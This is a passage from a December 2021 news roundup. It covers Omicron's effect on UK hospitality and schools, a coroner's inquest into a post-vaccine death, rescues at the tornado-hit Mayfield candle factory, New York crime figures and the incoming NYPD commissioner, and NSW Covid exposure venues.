Saturday, December 18 The Hand and Flowers in Marlow, Buckinghamshire, is offering dinner tables for two at 9pm in just two days time The famous three-Michelin star The Fat Duck in Bray, Berkshire is run by Heston Blumenthal Tables are normally hard to come by at The Fat Duck, but bookings at popular times remain available in January (pictured) A dinner reservation for two at typically hard-to-come-by London venues such as The Ritz Restaurant, Claude Bosi's Bibendum and Restaurant Story usually require patience and a slice of good fortune. But when MailOnline went to test that theory this evening, the results were surprising. Snatching a table at the two Michelin star Bibendum in Chelsea can normally take up to four or five days, but punters hoping for exquisite French cuisine can book a table there for this weekend. Customers are still able to book the sought after Friday Live at the Ritz for the first week of the new year, while two Michelin star Restaurant Story has availability at peak time on Friday, December 17. Snatching a table at the two Michelin star Claude Bosi at Bibendum (pictured) in Chelsea can normally take up to four or five days But punters looking for exquisite French cuisine can still book a table there for this weekend A dinner reservation for two at typically hard-to-come-by London venues such as The Ritz Restaurant usually require patience and a slice of good fortune Customers are still able to book the sought after Friday Live at the Ritz for the first week of 2022 The story is the same up and down the UK - consumer confidence appears to be waning as Plan B Covid restrictions simultaneously ramp up. Many lucrative Christmas parties that could have offered a lifeline to ambling businesses have long been cancelled - with executives worrying about how festive jamborees might be perceived online. Writing in the Daily Mail this month, hospitality boss Adam Hyman said: 'Not only is there a concern that their employees might catch or spread the virus, but there's a wider fear that this could result in bad publicity. It's all about perceptions. 'In the absence of firm guidance from Whitehall, bosses are erring on the side of caution.' Two-star Michelin chef Michel Roux Jr, who has run the exclusive Le Gavroche in London since 1993, explained that his daughter's restaurant would now be making a loss due to a spate of recent cancellations. Ministers are understood to have touted the idea of shutting hospitality businesses within weeks to help curb the spread of the mutant Omicron strain. Whitehall officials have drawn up proposals to limit the number of people allowed in pubs and restaurants across the UK, triggering a fresh wave of New Year's Eve party cancellations and further decimating the industry. Sacha Lord, night-time economy advisor for Greater Manchester, warned of the 'irreversible impact' tougher restrictions would have on the hospitality industry, with up to 83 per cent of businesses already being rocked with cancellations. Mr Lord told MailOnline: 'After all the trauma our industry has suffered over the last 2 years, it was this years festive season that was the lifeline hospitality businesses were waiting for, but its now slipping away. 'The Government needs to ensure that it doesnt create a panic, and that its response is based on data and actual evidence. 'And it must axe the tax rise it plans to impose on hospitality businesses up and down the country early next year too. 'After what pubs, clubs and restaurants are going through this Christmas, the last thing they need in early 2022 is a VAT rise that will destroy jobs and innovation in our industry. 'December is the most lucrative month for venues, and if the Chancellor doesn't step up and act fast with a support package the damage to the hospitality sector will be irreversible. It's already too late for many of our venues.' Two-star Michelin chef Michel Roux Jr, who has run the exclusive Le Gavroche in London since 1993, explained that his daughter's restaurant would now be making a loss due to a spate of recent cancellations Two Michelin star Restaurant Story still has availability at peak time on Friday, December 17 On Instagram last night, Tom Kerridge penned: 'So, here we are. This is the list of cancellations taken in one of our restaurants in the past six days. 654 guests. 'I completely understand why and have no problem with them letting us know. Public health is THE most important thing. 'The problem is what will the government do to support the hospitality industry? Many places are going to crumble without help. And before some gammon faced idiot says 'you can afford it fat lad!' .. yes I probably can, but this isn't about me or my restaurants. It's about our industry and peoples livelihoods.' Bosses said government warnings about the threat of Omicron and new working from home guidance had persuaded many punters that it wasn't worth going ahead with their festive gatherings. On Instagram last night, Mr Kerridge penned: 'So, here we are. This is the list of cancellations taken in one of our restaurants in the past six days. 654 guests' Alongside the post Mr Kerridge shared a video showing printed out pages filled with 176 table cancellations - as Britons put themselves into a lockdown in the run up to Christmas Day One London hotel told MailOnline it was expecting 100,000 worth of losses from cancelled events, rooms and covers - and said many staff were fearing for their jobs given the extent the industry relies on a lucrative Christmas period. Last year the hospitality sector was supported through Government grants, a reduction in business rates and furlough for staff. Councils handed more than 11 billion to 880,000 small businesses in 2020 - but this Christmas businesses have been left with nothing. It comes as Wetherspoon boss Tim Martin warned government restrictions could push it into a loss in the first six months of the year. 'For reasons best known to themselves, perhaps in order to encourage more vaccinations, the UK government and its advisers are creating an entirely different and more frightening impression of the variant, which appears to be at odds with the South African experience,' he said. The nation was heading towards 'a lockdown by stealth', he added. A mother-of three died of multiple blood clots weeks after having a Covid-19 vaccine, an inquest has found. Tanya Smith, 43, received the Oxford AstraZeneca vaccine on March 21 this year at the Plymouth Argyle vaccination clinic. The childminder from Plymouth then began suffering from severe stomach pains in the days after getting the jab, Plymouth Coroner's Court was told on Wednesday. She was later admitted into Derriford Hospital and died on April 3 in the Penrose intensive care unit (ICU). At Ms Smith's inquest today, senior coroner Ian Arrow said the blood clots were a 'very rare complication' of the coronavirus vaccine. Tanya Smith (left) suffered severe stomach cramps and was taken to hospital where they discovered she had multiple blood clots Ms Smith (pictured with her partner Kenneth Edwards) underwent surgery but her condition worsened and she sadly died on April 3 The inquest was opened on April 12. Recording a narrative verdict, Mr Arrow said: 'It appears to me on the balance of probabilities that, in fact, on the 21st March 2021, Tanya received a vaccination. 'It appears to me some days after she has then developed a number of thromboses throughout her system. In other words, a number of blood clots. 'I'm satisfied those blood clots have led to her death. On the balance of probability, this is a very rare complication of this particular kind of treatment.' Dr Veronika Kuznets, a GP at Wycliffe Surgery, on Cattedown Road, confirmed Ms Smith, a key worker, had been referred for her first dose of the vaccine. A post-mortem examination carried out by consultant pathologist Dr Oriolowo found 'widespread' blood clots throughout Ms Smith's body. Family paid tribute to Tanya Smith (pictured second from left) who died after blood clots formed following the AstraZeneca jab Childminder Ms Smith (pictured centre, in back row) leaves behind her partner Kenneth Edwards and three children The coroner said he would record a narrative conclusion so it will 'assist people in the future who are researching deaths of this nature'. Ms Smith's family, including her partner Kenneth Edwards, were at the hearing. Mr Edwards has previously spoken about how Ms Smith was 'healthy' until she had the first vaccine dose. Her death is being reviewed by the Medicines and Healthcare products Regulatory Agency (MHRA), who are investigating instances of blood clots and any links to the vaccine. An MMA fighter used his brute strength and quick wits to pull his wife, her sister and several other workers trapped in the leveled Mayfield candle factory after the deadly tornado swept through the Kentucky town and narrowly missed his house. Brian Brooks, 41, said it's a miracle that his wife and his sister-in-law are alive after the extreme twister devastated his hometown on Saturday and left 74 dead across the state. 'It was like the worst war movie you see on TV. The people that were screaming that you could not see in the dark,' he recounted. 'I just started climbing and finding people, just helping everybody I could.' Moments before, Roberta Brooks and her sister had been making what they believed were final goodbye calls, thinking they would soon die. 'We were calling family members to let them know we love them and praying God would get us through this. Time froze like no one was ever going to show up and help. Then there was a familiar voice but I couldnt see him,' she posted on Facebook. Brian Brooks, 41, thinks it's a miracle his wife, and his sister-in-law are alive. He risked his safety to save his wife, her sister and other workers who were trapped in a leveled candle factory on Sunday A desperate call from his wife, Roberta Brooke (right), made him jump out of bed, take the keys of his truck and disregard the dangerous weather alarms the National Weather Service had been sending for hours Search are rescue crews work at the Mayfield Consumer Products candle factory early Sunday, Dec. 12, 2021 Roberta and her sister were among 110 factory workers at Mayfield Consumer Products, some who were reportedly threatened with disciplinary action if they abandoned their shifts ahead of what would become Kentucky's worst tornado storm in 130 years. Eight workers died The city of Mayfield, Kentucky was hit particularly hard, including a candle manufacturing factory that was operating at the time the twister hit An aerial photo made with a drone shows the destruction of the Mayfield Consumer Products candle factory after tornadoes moved through the area leaving destruction and death across six states Amid the devastation, it was Brooks's 'crazy shoes' that became a promise of hope and salvation for his sister-in-law, who was on top of his wife inside one of the factory's restrooms. The woman spotted his colorful footwear, and called his name. 'She knew it was me...she started hollering, ''Brian,'' Brooks said. The roof, candle wax barrels, bathroom walls, pipes and poles were between him and his family, but with the help of officers who handed him a crowbar he was able to get to the women. 'I was like, 'Oh my God,' and started trying to pull,' he said. '...Everything was on top of them.' Brooks had been hunkering down at home with his daughter and granddaughter, cushioned by pillows and blankets inside a bathtub and wearing helmets, when the tornado blew by. However, a desperate call from his wife, Roberta, spurred him to drive through the apocalyptic conditions despite warnings from the National Weather Service to remain off the roads. 'It's my wife. She calls and tells me she loves me, that she's trapped, and they're smashed. And she hung up,' Brooks told Fox News. 'I jumped in the truck and flew to her.' Once rescued, Roberta and her sister were taken to the hospital, where they were treated and have since been discharged. Rebecca and her sister were among 110 factory workers at Mayfield Consumer Products, some whom were reportedly threatened with disciplinary action if they abandoned their shifts ahead of what would become Kentucky's worst tornado in 130 years. Eight workers were killed at the candle factory. 'They didn't think they were ever going to see us again,' the 14-year veteran MMA fighter said. 'I'm so grateful I just want to say my prayers for everybody who wasn't so lucky.' The factory was the third-biggest employer in this corner of western Kentucky, an important economic engine that churned out candles that lined the shelves of malls around the US. But why its workers kept making candles Friday night as a tornado bore down on the region remains unclear as rescuers continue scouring the factory wreckage for signs of life. 'We were calling family members to let them know we love them and praying God would get us through this. Time froze like no one was ever going to show up and help. Then there was a familiar voice but I couldnt see him,' Roberta posted on Facebook. Brooks' daughter (pictured with him left) and granddaughter were with him, cushioned by pillows and blankets inside a bathtub and wearing helmets during the tornado that ravaged nearly everything in the surroundings of their home A drone picture of products damaged in the Mayfield Consumer Products candle factory after it was leveled by a tornado 'They didn't think they were ever going to see us again,' the 14-year veteran MMA fighter said. 'I'm so grateful I just want to say my prayers for everybody who wasn't so lucky' On Tuesday, an employee of the factory said that a supervisor threatened her with written disciplinary action if she went home early because storms were approaching. Emergency workers search through what is left of the Mayfield Consumer Products Candle Factory An aerial photo made with a drone shows the destruction of the Mayfield Consumer Products candle factory On Tuesday, an employee of the Kentucky candle factory said that a supervisor threatened her with written disciplinary action if she went home early because storms were approaching Haley Conder, who worked at the Mayfield Consumer Products factory on and off for 10 years, also questioned why the company did not encourage workers to go home - or at least give them a better understanding of the danger - between a first tornado siren around 6pm Friday and another one around 9 pm., shortly before the tornado hit. 'They (the company) had from 6 oclock to 9 oclock to allow us to go home, to tell us really what was going on and that we needed to prepare ourselves for the worst,' Conder told The Associated Press in a phone interview. 'It was nothing like that. Not one supervisor told us what was really going on.' A spokesman for the company insisted that employees were free to leave anytime. Conder's comments came on the same day that the state's governor said Kentuckys workplace safety agency would look into the eight deaths, which happened as violent weather spawned tornadoes in five states. Gov. Andy Beshear told reporters that the Kentucky Division of Occupational Safety and Health Compliance would conduct a review. That kind of investigation is routine whenever workers are killed on the job. Jessaundra Jackson, right, an employee of Mayfield Consumer Products, hugs another person at the conclusion of a candlelight vigil in the aftermath of tornadoes that tore through the region several days earlier, in Mayfield A warehouse lies damaged after it was hit by a tornado in Mayfield An aerial view of debris and structural damage is seen at the Mayfield Consumer Products candle factory as search and rescue operations underway after tornado hit Mayfield, Kentucky on December 12 'So it shouldn't suggest that there was any wrongdoing. But what it should give people confidence in, is that well get to the bottom of what happened,' he said. Conder, 29, said her supervisor threatened to write her up if she left early, and that accumulated write-ups can lead to firing. More than 100 people were working on holiday candle orders when the twister leveled the facility. The scale of the damage initially stoked fears that scores of workers could be found dead in the rubble. The company later said many employees who survived left the site and went to homes with no phone service, adding to the confusion over who was missing. Since then, all workers have been accounted for, according to state and local officials who have spoken to the company. Louisville Emergency Management Director E.J. Meiman said late Monday that authorities now 'have a high level of confidence that nobody is left in this building.' The factory supplies candles to retailers, including Bath & Body Works. It is the countys third-largest employer. Mayfield Consumer Products spokesman Bob Ferguson, who works for an outside communications firm, said the company welcomes a review by the state and will cooperate. Ferguson denied that employees were stuck at the plant or would face retribution if they left. 'Not true. That is absolutely not true. We followed our protocols exactly. Employees, if they decide they want to leave, theyre free to leave,' he said. Due to a tight labor market, the company had relaxed some of its procedures so that employees were not required to give a reason if they had to leave work during a shift, Ferguson said. NBC News first reported that employees said they were threatened with discipline if they left early. Mayfield, home to 10,000 residents and the candle factory, suffered some of the worst damage in the country. The tornado outbreak that killed at least 88 people - 74 of them in Kentucky - cut a path of devastation from Arkansas, where a nursing home was destroyed, to Illinois, where an Amazon distribution center was heavily damaged. Six people died in the Illinois warehouse collapse, and the federal Occupational Safety and Health Administration has opened an investigation into what happened there. The tornadoes also killed four in Tennessee, two in Arkansas and two in Missouri. Hundreds of people gathered for a candlelight vigil Tuesday evening on the outskirts of Mayfield. People participate in a candlelight vigil in the aftermath of tornadoes that tore through the region several days earlier, in Mayfield, Ky., late Tuesday, Dec. 14 Jessaundra Jackson and Debbie Johnston, facing, both employees of Mayfield Consumer Products, hug at the conclusion of a candlelight vigil in the aftermath of tornadoes that tore through the region several days earlier, in Mayfield, Ky., late Tuesday, Dec. 14, 2021. (AP Photo/Gerald Herbert) Workers cut debris in the aftermath of tornadoes that tore through the region, in Mayfield, Ky., Tuesday, Dec. 14, 2021 Construction equipment moved debris from the largely destroyed downtown in the aftermath of tornadoes that tore through the region, in Mayfield, Ky Prayers went up that the brokenhearted will be 'wrapped up in Gods love' and that people 'hold on to one another' as the storm-stricken city begins its recovery. Scarlett Sears, an employee at the factory, said at the vigil she had not seen her co-workers since Friday. 'It's great for the ones that made it but heartbreaking for everything else, Mayfield, MCP, all of it, heartbreaking,' she said. J.R. Ramsey, who has worked at the plant for 18 years, said he was still in shock. 'It's good to see the people that made it,' he said. Conder said employees sheltered inside the building after the first siren, but were then told to go back to work about a half-hour later 'like it was a regular day.' 'Some of us were just clueless,' she added. 'Unless family called us and let us know ... we had no idea it was coming for us at all.' Employees sheltered again after the 9 p.m. tornado siren. Conder was in a bathroom when the storm hit. 'I look up and the ceiling is just giving way, like its the ocean just coming toward me,' she said, adding she was trapped in rubble for about an hour. Mark Saxton was working as a forklift operator. After the first storm siren, he said employees were told to go back to work. 'I feel like production was a priority over letting everybody go home,' Saxton said Tuesday in a phone interview. He said he wasn't threatened with any disciplinary action. When the second storm siren sounded, he said he took refuge along with the other workers. It wasnt long before he heard a big boom and 'everything shook.' He said he dropped to the ground, got in a fetal position and 'that's when everything started falling - the walls and everything.' He was trapped by a slab of a concrete wall but was able to extricate himself. An American flag flies amidst debris of destroyed homes, in the aftermath of tornadoes that tore through the region, in Mayfield, Ky., Tuesday, Dec. 14, 2021 An Atmos Energy employee walks amid destruction as he checks the integrity of gas meters after the gas main was shut off, in the aftermath of tornadoes that tore through the region, in Mayfield, Ky., Tuesday, Dec. 14, 2021 A water pipe spews water amidst rubble from destroyed homes in the aftermath of tornadoes that tore through the region, in Mayfield, Ky., Tuesday, Dec. 14, 2021 The remains of the town water tower lies in ruin in the aftermath of tornadoes that tore through the region, in Mayfield, Ky., Tuesday, Dec. 14, 2021 Advertisement Schools could remain closed after Christmas unless parents get their children fully vaccinated against Covid before January, as Boris Johnson announced that children aged 12 to 15 will be offered their second jab from Monday to tackle a 'tidal wave of Omicron'. The Prime Minister told a Downing Street press conference this evening: 'We know how crucial it is to keep children in school, so let's all make sure our children and young people are vaccinated before they go back next term.' Dozens of schools have shut across England, with many choosing to revert back to remote learning amid mounting fears of the Omicron variant sweeping the country. However, the Government has repeatedly refused to promise that schools will reopen in January as it races to 'boost' millions of people in England. Today, Education Minister Alex Burghart urged 'as many people as possible to come forward' to get their next vaccine dose but could not promise that children would be taught in person. Education Secretary Nadhim Zahawi also refused to rule out closing schools in the New Year, while Health Secretary admitted 'there are no guarantees' classrooms would open in January. Attendance figures show nearly 250,000 pupils were absent from school last week the second highest figure this year. Around 17,000 teachers in England were also thought to be at home isolating with Covid. Robert Halfon, Tory chairman of the Education Select Committee, warned 'we are moving sadly towards 'de facto' school closures' and urged the Government to create an 'army' of volunteers to keep schools open. Public health officials are heaping pressure on Downing Street to impose more restrictions to tackle Omicron, as the UK recorded 78,610 new Covid cases. UK Health Security Agency chief executive Dr Jenny Harries warned the strain is 'probably the most significant threat' since the start of the pandemic as she said cases would be 'staggering' compared to what has gone before. And England's chief medical officer Professor Chris Whitty told the Downing Street press briefing there were 'two epidemics on top of one another'. Boris Johnson said children aged 12 to 15 will be offered their second jab from Monday to tackle a 'tidal wave of Omicron' The Prime Minister told a Downing Street press conference this evening: 'We know how crucial it is to keep children in school, so let's all make sure our children and young people are vaccinated before they go back next term' Members of the public queuing outside Manchester Town Hall for a dose of a Covid-19 vaccine Worried Whitty tells people to pick the events they attend 'carefully' as Omicron sends daily Covid cases to highest level ever: 50% jump in a week sees 78,610 infections but Boris REFUSES his own experts' plea for 'Plan C' Britain today announced its highest ever daily Covid cases number as the Omicron variant engulfs the nation and Boris Johnson and Chris Whitty delivered a stark warning over the need to think twice before attending Christmas parties. A record 78,610 people tested positive in the past 24 hours, eclipsing the previous record by more than 10,000 when 68,053 were posted on January 8 at the peak of the second wave. Omicron already makes up a third of cases but Government modelling predicts up to 400,000 people are getting the mutant virus every day, with the strain spreading too faster for testing to keep up. Health chiefs have warned there could be a million daily infections by next month, translating into upwards of 4,000 hospital admissions similar to levels seen during the second wave, but the projections are heavily disputed. Just minutes after the sharp rise in Covid infections were announced, Professor Whitty told a Downing Street press conference that more records were going to be broken by the ultra-infectious Omicron variant and called for extra caution over reports from South Africa that the strain may be milder. He urged people to 'prioritise' who they meet in the run up to Christmas, or risk catching the virus and spending the festive period alone. Professor Whitty could not be pinned down on whether harsher lockdown curbs were necessary, pointing out that there were still several key unknowns about Omicron such as how vaccines will perform and how severe it is. But he added: 'I think that what most people are doing is, and I would think this seems very sensible, is prioritising the social interactions that really matter to them and, to protect those ones, de-prioritising ones that matter much less to them.' Advertisement Labour's Shadow Schools Minister, Stephen Morgan, said: 'Children have been in and out of school facing ongoing disruption to education and wellbeing again this term. This cannot continue. 'The Government has continuously failed to plan ahead, but must act now and use the Christmas holidays to prevent the chaos seen last January. 'Labour is calling on Ministers to deliver a Christmas vaccine guarantee to ensure all 12 to 15-year-olds can get a jab during the holidays to keep kids learning next term. 'This must be delivered alongside practical ventilation measures in all schools, so teachers are not forced to open windows this winter.' Shadow Children's Minister Helen Hayes added: 'As Omicron infections rise it's essentially the government acts now to ventilate classrooms and vaccinate young people so parents don't feel they have to keep their kids at home to stop infections. 'Children's learning and happiness is best served by them being in school.' Several schools in London and Kent have told parents take home all their children's books and a laptop each in case they don't come back to the classroom next month. Geoff Barton, general secretary of the Association of School and College Leaders (ASCL), said schools across the country were suffering from 'very severe low attendance' as the Omicron variant continues to spread. Some of the schools have had to close because of a lack of staff, but others were warned about the health risks of remaining open after seeing high infection rates. Two schools in Bury St Edmunds, Suffolk, were told to shut this week by local public health teams. Mr Barton, speaking on BBC Breakfast, said the government body had taken the decision away from the headmaster on public health grounds. On Monday, Health Secretary Sajid Javid said there 'are no guarantees' that schools will be allowed to reopen in January. This outraged public campaigners and education unions, with some saying the Government needed to do more to avoid any scenario in which the next school term could be disrupted. Reacting to the shocking attendance figures, Paul Whiteman, general secretary of school leaders' union NAHT, said: 'Everyone is concerned about how this will play out over the next few weeks and the implications for January. 'No one wants to see the sort of disruption to education that we experienced last winter. However, we are already seeing signs that schools are coming under increasing pressure. 'The Government needs to think very carefully about the mitigations it needs to take to keep schools open next term. Doing nothing is not a plausible or realistic option. 'It is essential that the Government does everything in its power now to reduce the spread of Covid in schools. That should include reviewing mitigation measures that could be reintroduced whilst transmission rates are high.' He criticised the Government and local public health teams for giving 'contradictory advice' on what schools should be doing in the run-up to Christmas. Steve Chalke, head of the Oasis Academy chain, said his schools are preparing to bring back bubbles, rota lessons, staggered starts and an extension of mask-wearing. He said: 'We are quite prepared for online learning. If we get to January 2 and the Prime Minister says all schools need to be shut, we are prepared. January is the great unknown. But Omicron is sweeping London now and it is going to sweep the country.' Other unions and headteachers have called for the two-week Christmas holiday to be extended into January and a staggered start to the new term in 2022. NASUWT general secretary Dr Patrick Roach has written to Mr Zahawi calling for masks in classrooms now for secondary schools. A pedestrian walks past an electronic billboard promoting the Covid-19 vaccine booster programme in central London Prime Minister Boris Johnson speaks at a press conference to update the nation on the Covid-19 booster vaccine program in the Downing Street briefing room He said: 'We ask you to avoid a repeat of the confusion and chaos which last year impacted negatively on public and parental confidence and hampered the hard work of teachers and school and college leaders in their preparations at the start of 2021. 'An immediate announcement from the Government on additional measures for schools and colleges is, we believe, essential before the majority of schools and colleges close for the Christmas break.' There is however disagreement on what measures should be taken, with a spokesperson for the ASCL telling the Mail that they do not support the idea of a staggered return. Clare Wagner, head of Henrietta Barnett School in Barnet, north London, told the Evening Standard: 'Not only does testing take ages but you can't have pupils in school before the test, and they can't go into lessons until the results have come through so you have to have a staggered start'. Headteachers say that there is 'chaos' in Britain's education system with children already being taught online and now not returning to the classroom until January at the earliest. Schools in areas with high infection rates such as London, the south-east and the East Midlands, say they are sending home entire year groups because they don't have the teachers and supply teachers available. Unions claim that in some schools up to half of staff are off sick, with some missing from work since November. The return to home schooling for thousands of children came days after an alarming report warned that almost every child in the country has fallen behind at school because of Covid lockdowns with pupils battling 'endemic' loneliness, boredom and misery during the pandemic. The incoming New York City police commissioner faces a murder rate that is 50 percent higher than it was before the pandemic and shootings that have doubled since 2019, according to the most recent crime statistics released by the NYPD. Keechant Sewell, who is set to become the first black woman to hold the post after being tapped for the position by Mayor-elect Eric Adams on Wednesday, will be charged with the daunting task of reversing the violent crime that has plagued the city. Crime statistics published by the NYPD show shootings, murders and auto grand larceny have all nearly doubled while murder is up 50 percent in the city compared to 2019 as of December 5. There have been 1,470 shootings, 443 murders and 9,595 cases of auto grand larceny, according to the latest data for the year. NYPD Commissioner Dermot Shea, who departs at the end of the month, has blamed bail reform laws enacted by the Democratic-dominated state Legislature for the spike in violent crime. Crime levels in New York City drastically spiked in 2020 and has continued to climb in 2021 New York City is currently experiencing soaring crime rates and an increase in shooting incidents not seen since the mid-2000s A New York City subway rider survived being bludgeoned with a hammer and falling onto the subway tracks with a train fast approaching the station as he was attacked by a violent stranger in August 'You have to look at the incarceration levels. It's a hard topic to talk about but there's been such a drastic reduction,' Shea said. 'I think that's part of what you're seeing play out.' 'At the state level, we are down significantly. Many people get out of prison and turn their life around, but, unfortunately, we all realize that many do not. You're seeing those unintended consequences on the street at times,' Shea claimed. In early 2020, criminal justice reform measures passed by the New York State Legislature and signed into law by then-Governor Andrew Cuomo took effect. The new law has received increasing scrutiny over its rules that allow New York courts to release people who would have remained in jail under the old rules. The statute, which went into place at the beginning of the year, eliminated cash bail and pretrial detention for a wide majority of low-level cases and nonviolent felonies. The law also allows courts to release a person under certain conditions, such as a travel or firearm restriction. Shea and others have claimed that the new law is to blame for the increase in violent crime. But defenders of the law say that violent crime has increased in most of the country - including in jurisdictions that did not enact any criminal justice reform measures. Unemployment levels in New York City remain more than double its pre-pandemic levels Thirteen cities across the US have shattered their annual murder records this year. The city of Oakland, California recorded its 131st murder of 2021 on Monday surpassing the annual homicide rates from the last nine years. Philadelphia announced its 501st murder on November 26, the highest since 1990. The next day Indianapolis recorded 246 murders breaking the record from 2020. The city of Columbus hit 179 murders on November 26, the most since the year before. Behind that, Louisville reported its 175th murder on November 24, also surpassing the record it set in 2020. Some cities, like Oakland, are reversing previous moves to defund the police which were inspired by the Black Liver Matter movement and the national upset following the police killings of multiple black citizens including George Floyd, Breonna Taylor, and Ahmaud Arbery who all died in 2020. Despite the spike in crime, Mayor Bill de Blasio commended Shea's leadership in their last monthly press conference on crime statistics earlier this month. 'I think the commissioner has a lot to be proud of,' De Blasio said. Shea, who was appointed to his position in December 2019, said he 'wouldn't change a thing.' 'I consider the work that [my executive team] did was the glue that held the city together through one of the toughest times the city has seen,' said Shea, adding, 'Obviously, people make mistakes and things.' Mayor Bill de Blasio (pictured) and Police Commissioner Dermot Shea addressed New York City's rising crime in their last monthly press conference on crime statistics on December 8 Keechant Sewell, 49, will be the next NYPD commissioner after being chosen by incoming Mayor Eric Adams Sewell is pictured fifth from right being sworn in as Patrol Deputy Chief in 2017 Sewell, a 22-year police veteran in Nassau County, will take the role of New York City's top cop on January 1, when Adams, a former NYPD captain, takes office. 'Keechant Sewell is a proven crime fighter with the experience and the emotional intelligence to deliver both the safety New Yorkers need and the justice they deserve,' Adams said in a statement to the NYPost. Rising crime, BLM protests and vaccine mandates - what's next for the new NYPD commissioner Keechant Sewell's appointment to New York City's top cop comes at a pivotal moment for the NYPD as crime rises, and Black Lives Matter threatens the NYPD. Between November 29 to December 5, NYPD statistics show, murders were up 1.4 percent when compared to last year, and grand larceny from autos was up a whopping 14.1 percent. A report released by the department just last week also concluded overall crime increased 21.3 percent in November 2021, when compared to November 2020, with robberies increasing 24 percent and felony assaults increasing 11 percent. It also revealed that shootings have reached levels not seen since the mid-2000s, with citywide shootings increasing 2.6 percent in November and 2 percent year-to-date. A Black Lives Matter has also threatened 'riots' and 'bloodshed' in the streets of New York City if Mayor-elect Eric Adams reinstates the NYPD's anti-crime units - a vow Adams later doubled down on the following day. And the police force has decreased amid Mayor Bill de Blasio's vaccine requirement. Advertisement 'Chief Sewell will wake up every day laser-focused on keeping New Yorkers safe and improving our city,' he continued, 'and I am thrilled to have her at the helm of the NYPD.' When asked how she would address the shooting epidemic, Sewell simply said: 'I want to actually take a look at what's working in the city and what's not working,' adding that she wants a 'full assessment of what's happening in the city right now' to 'come up with a strategy.' She said she hopes the assessment can happen 'very quickly' through 'aggressive meetings scheduled both internally with the police department and the community. 'I'm hoping to kind of hit the ground running beginning January 1,' Sewell said, noting: 'I've been policing for 25 years so I've actually got some sort of grasp on what I think works and what doesn't work.' Sewell also defended the use of undercover agents to combat gun and gang violence in her interview with the Post saying 'plain clothes units work. 'They are able to be in places where they are not able to be easily recognized and if you use a surgical approach, use well-trained officers and know what their objectives are you can get measurable results.' Adams has vowed to bring back an anticrime unit after it was disbanded by Police Commissioner Dermot Shea last year. But she was also reportedly critical of how plain-clothes officers work in the city, telling Adams' camp 'they were doing it wrong.' 'If you start busting heads they [the community] are never going to work with you,' Sewell said, according to a source familiar with the conversation. She also said she supports the broken windows theory of policing, which holds that if someone commits a petty offense like smashing a window and nobody fixes it, another person may be tempted to break another window or commit a more serious crime. 'I think you have to take a look at quality of life crimes because sometimes they lead to something else,' she said. 'You have to make sure you're using the broken window theory, the enforcement of those low-level crimes, in a way that's not discriminatory, in a way that addresses the problem and doesn't actually over police it in some respect.' The number of Covid-19 cases in NSW is expected to increase again after the highest count in more than three months, with predictions they could hit 25,000 infections a day in January. The state reported 1360 cases from 104,501 tests on Wednesday, prompting NSW Premier Dominic Perrottet to repeat his call for the focus to shift to people in hospitals and ICU, of which there were 166 and 24 respectively. While hospitalisations generally lag infection spikes, Mr Perrottet has 'complete confidence' the hospital system will cope thanks to the state's 93.2 per cent full vaccination coverage. The Omicron variant is believed to be behind an increasing number of cases, with Newcastle and Sydney seeing a surge. The number of Covid-19 cases in NSW is expected to increase again after the highest count in more than three months (pictured are crowds at Bondi Beach) More than a quarter of the new cases were in the Hunter region, following super spreader events in Newcastle. NSW Health on Wednesday night issued an alert for a new venue of concern in that city - the Cambridge Hotel on Hunter Street. Anyone who attended the hotel between 6.30pm on Friday and 2.30am on Saturday is considered a close contact of a positive Covid case who was there and should get tested and isolate for seven days. All household contacts of close contacts should also be tested and self-isolate until a negative result is received. 'It is likely some of these cases have the Omicron variant of concern,' NSW Health said in a statement. There have been 110 confirmed cases of Omicron in NSW since the first recorded infection in late November. NSW Health Minister Brad Hazzard warned Covid-19 cases are going to continue to rise, with modelling showing they could hit 25,000 a day by the end of January if the reproduction rate climbs. NSW recorded its highest daily total in three months on Wednesday with 1,360 infections He says the high case rate should encourage people to get booster shots, which 9000 people did on Tuesday. Having two shots of a vaccine is not believed to reduce the transmissibility of the Omicron variant but does protect against more severe disease. Booster shots are available for people who received their second shot five or more months ago. Wednesday's was the highest daily tally since September 11, when much of the state was still under lockdown. It came on the day restrictions on unvaccinated people, mask wearing mandates and QR code check-ins were dropped in most settings. On Wednesday, border restrictions on what had previously been eight southern African countries of concern were eased. Arrivals who have been in those countries are now under the same rules as all other international travellers. This is the shocking moment a brawl broke out on a train travelling to Scarborough after passengers argued about wearing face masks. Video footage captured by one passenger, Sophie Tasker, who uploaded the incident as multiple clips online, showed one man shouting at a group of people to 'wear a mask', as the group yelled back that 'you're an embarrassment'. Other passengers on the train, which departed from York at 8pm on December 11, can be heard mentioning that children were on the train in an attempt to calm the situation down. One passenger on the train from York to Scarborough at 8pm on December 11 began yelling at a group of people, demanding that they wear face masks The incident reached a head after the man demanding the group wear masks said: 'you've got one chance to walk away' before shouting. Tasker, who described the incident as 'utterly terrifying', said that police officers eventually escorted the man who had shouted at the group from the train. Speaking to Yorkshire Live, she said: 'He was told he was upsetting kids by shouting, to which he hurled abuse back.' Tasker added that the group being yelled at switched train carriages, but the man continued enquiring about where other passengers' masks were. After the group of people switched train carriages, the man began enquiring why other passengers were also not wearing face coverings A spokesperson for British Transport Police said: 'British Transport Police received reports of a fight on-board a service between York and Malton stations at 8.13pm on Saturday 11 December. 'Officers are aware of footage posted on social media of this incident and enquiries are ongoing.' The spokesperson also asked that anyone with information about the incident contact them by texting 61016 or calling 0800 40 50 40 quoting reference 628 of 11/12/21. Another pub in Newcastle has been linked to positive Covid-19 cases as NSW's Omicron outbreak continues to grow. NSW Health has advised anyone who visited The Cambridge Hotel on 789 Hunter Street from 6.30pm on Friday 10 December to 2.30am on Saturday 11 December they are a close contact and must get tested and isolate for seven days. All household contacts must also get tested and isolate until given each member is given a negative result. 'It is likely some of these cases have the Omicron variant of concern,' NSW Health said. NSW Health has advised anyone who visited The Cambridge Hotel on 789 Hunter Street from 6.30pm on Friday 10 December to 2.30am on Saturday 11 December they are a close contact and must get tested and isolate for seven days NSW Health said it's 'likely' the venue has been linked to some Omicron infections Authorities are also urging those who didn't check in via the QR codes to follow the health directions given to close contacts. The Cambridge Hotel is the third venue in Newcastle to be put on alert following superspreader events at The Argyle House and positive cases linked to the Finnegan's Hotel. The Argyle House which as been listed as an exposure site from December 8 at 9pm to Thursday December 9 at 3am, has been linked to 200 Covid cases. Police are investigating whether a positive Covid case attended the nightclub when they were meant to be in isolation, triggering an outbreak of more than 200 people. Most of them are believed to have the highly infections Omicron strain, but further testing is underway to confirm. The Cambridge Hotel is the third venue in Newcastle to be put on alert following superspreader events at The Argyle House and Finnegan's Hotel The outbreak is linked to a boat party five nights earlier on Sydney Harbour where at 